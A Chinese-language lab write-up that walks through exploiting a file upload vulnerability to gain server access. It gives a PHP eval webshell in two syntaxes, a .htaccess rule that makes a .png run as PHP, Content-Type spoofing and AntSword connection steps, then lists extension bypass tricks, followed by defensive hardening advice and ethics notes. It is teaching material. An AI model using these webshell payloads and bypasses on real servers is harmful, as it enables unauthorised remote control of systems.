1. 漏洞环境与初步分析
这次遇到的是一个典型的文件上传漏洞靶场环境,从初始界面可以看出这是一个允许用户上传文件的Web应用。作为安全测试人员,我们的目标是利用这个上传功能获取服务器权限。首先使用Burp Suite拦截上传请求是标准操作流程,这能让我们更细致地控制请求参数。
在Burp Suite中观察原始上传请求时,有几个关键点需要注意:
- 文件内容使用了
<?php eval($_POST[cmd]);?>这样的PHP一句话木马 - 服务器对文件扩展名进行了过滤,直接上传.php文件会被拦截
- 测试发现服务器不仅过滤了.php,还过滤了.ph、.phtml等常见PHP变种扩展名
重要提示:在实际渗透测试中,遇到这种严格过滤的情况,我们需要考虑更多绕过方式,而不仅仅是扩展名替换。
2. 绕过文件类型限制的技术方案
2.1 .htaccess文件利用原理
当常规PHP扩展名都被过滤时,使用.htaccess文件强制解析是Apache服务器环境下非常有效的绕过技术。.htaccess是Apache的分布式配置文件,可以覆盖服务器主配置,实现目录级别的配置修改。
核心原理是:
- 上传一个包含特殊规则的.htaccess文件
- 该文件指示服务器将特定文件(如图片)当作PHP代码解析
- 然后上传伪装成图片的PHP木马文件
- 服务器会根据.htaccess规则执行图片中的PHP代码
2.2 木马代码的变形处理
原始PHP标签<?php被过滤的情况下,我们可以使用替代语法:
html复制<script language="php">eval($_POST[cmd]);</script>
这种写法在PHP 5.x及以下版本中是被支持的,虽然PHP7+已移除这种语法,但很多老系统仍然兼容。
3. 详细攻击步骤实现
3.1 准备攻击文件
首先需要准备两个文件:
- .htaccess文件内容:
apache复制<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>
这个配置告诉Apache服务器,将所有名为"1.png"的文件当作PHP应用程序来解析。
- 伪装成图片的PHP木马:
将以下内容保存为1.png:
html复制<script language="php">eval($_POST[cmd]);</script>
3.2 上传过程中的关键修改
使用Burp Suite拦截上传请求时,需要特别注意两个地方:
-
Content-Type修改:
将Content-Type: application/octet-stream改为Content-Type: image/jpeg,这能绕过一些基于MIME类型的检测。 -
文件扩展名处理:
虽然我们实际使用的是.png扩展名,但通过.htaccess的配置,服务器会将其作为PHP执行。
3.3 上传顺序的重要性
必须严格按照以下顺序操作:
- 先上传.htaccess文件
- 再上传伪装成图片的木马文件
如果顺序颠倒,服务器可能还不会应用.htaccess规则,导致木马无法执行。
4. 连接与权限获取
4.1 确定文件路径
上传成功后,服务器通常会返回文件的存储路径,格式类似于:
code复制upload/31e891fe8473da80494517cb53c63dca/1.png
这个路径需要与靶场提供的URL基础路径拼接,形成完整的访问地址。
4.2 使用蚁剑连接
在中国蚁剑(AntSword)中配置连接时需要注意:
- URL填写完整的文件路径
- 连接密码设置为
cmd(与木马中的$_POST[cmd]对应) - 编码器根据实际情况选择(通常先用默认的base64尝试)
实际操作中发现:如果连接失败,可以尝试更换编码器,或者检查.htaccess是否生效。
5. 防御措施与防护建议
5.1 开发者防护方案
对于开发者而言,防范此类攻击需要多层防护:
-
文件扩展名白名单:
只允许特定的安全扩展名(如.jpg、.png等),而不是黑名单过滤。 -
文件内容检测:
- 检查文件头是否符合宣称的类型
- 对上传文件进行重命名(避免用户控制文件名)
- 存储上传文件时去除所有可能执行的权限
- 服务器配置加固:
- 禁止.htaccess覆盖
- 在php.ini中禁用危险函数如eval()
- 将上传目录设置为不可执行
5.2 运维检查要点
运维人员应定期检查:
- 服务器上是否存在异常的.htaccess文件
- 上传目录中是否包含可执行文件
- Web日志中是否有可疑的文件上传行为
6. 渗透测试中的深入思考
在实际测试中,如果上述方法不奏效,还可以尝试以下技术:
-
大小写绕过:
尝试.PHP、.Php等变体,有些过滤不区分大小写。 -
特殊字符绕过:
利用Windows特性,尝试1.php.、1.php_等。 -
双扩展名绕过:
如1.jpg.php,有些系统只检查最后一个扩展名。 -
Content-Type伪造:
尝试其他图片类型如image/png、image/gif。 -
文件头伪造:
在木马文件开头添加真实的图片文件头(如GIF89a)。
7. 漏洞利用的伦理边界
需要特别强调的是:
- 这类技术只应在合法授权的渗透测试中使用
- 未经授权的测试可能构成违法行为
- 发现漏洞后应及时报告给相关单位
- 公开漏洞细节前应给厂商足够的修复时间
在实际工作中,我遇到过不少因为过滤不严谨导致的上传漏洞案例。最危险的一次是在某企业系统中发现可以通过上传.htaccess完全控制服务器。建议开发团队在文件上传功能上一定要采用"默认拒绝"的安全策略,而不是试图过滤所有危险情况。